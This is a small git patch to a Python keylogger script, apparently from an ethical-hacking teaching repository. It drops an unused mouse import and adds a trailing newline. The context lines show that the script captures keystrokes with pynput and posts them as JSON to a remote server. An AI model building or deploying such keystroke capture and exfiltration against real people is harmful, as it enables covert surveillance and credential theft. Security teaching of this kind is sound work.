From aa11bfb703ffbd28c0c2af99df82e453f5ef67a4 Mon Sep 17 00:00:00 2001 From: David Bombal Date: Tue, 2 Aug 2022 16:47:36 +0200 Subject: [PATCH] Update keylogger.py --- keylogger.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/keylogger.py b/keylogger.py index 7322520..7810be5 100644 --- a/keylogger.py +++ b/keylogger.py @@ -1,6 +1,6 @@ # Install pynput using the following command: pip install pynput # Import the mouse and keynboard from pynput -from pynput import mouse, keyboard +from pynput import keyboard # We need to import the requests library to Post the data to the server. import requests # To transform a Dictionary to a JSON string we need the json package. @@ -65,4 +65,4 @@ with keyboard.Listener( on_press=on_press) as listener: # We start of by sending the post request to our server. send_post_req() - listener.join() \ No newline at end of file + listener.join()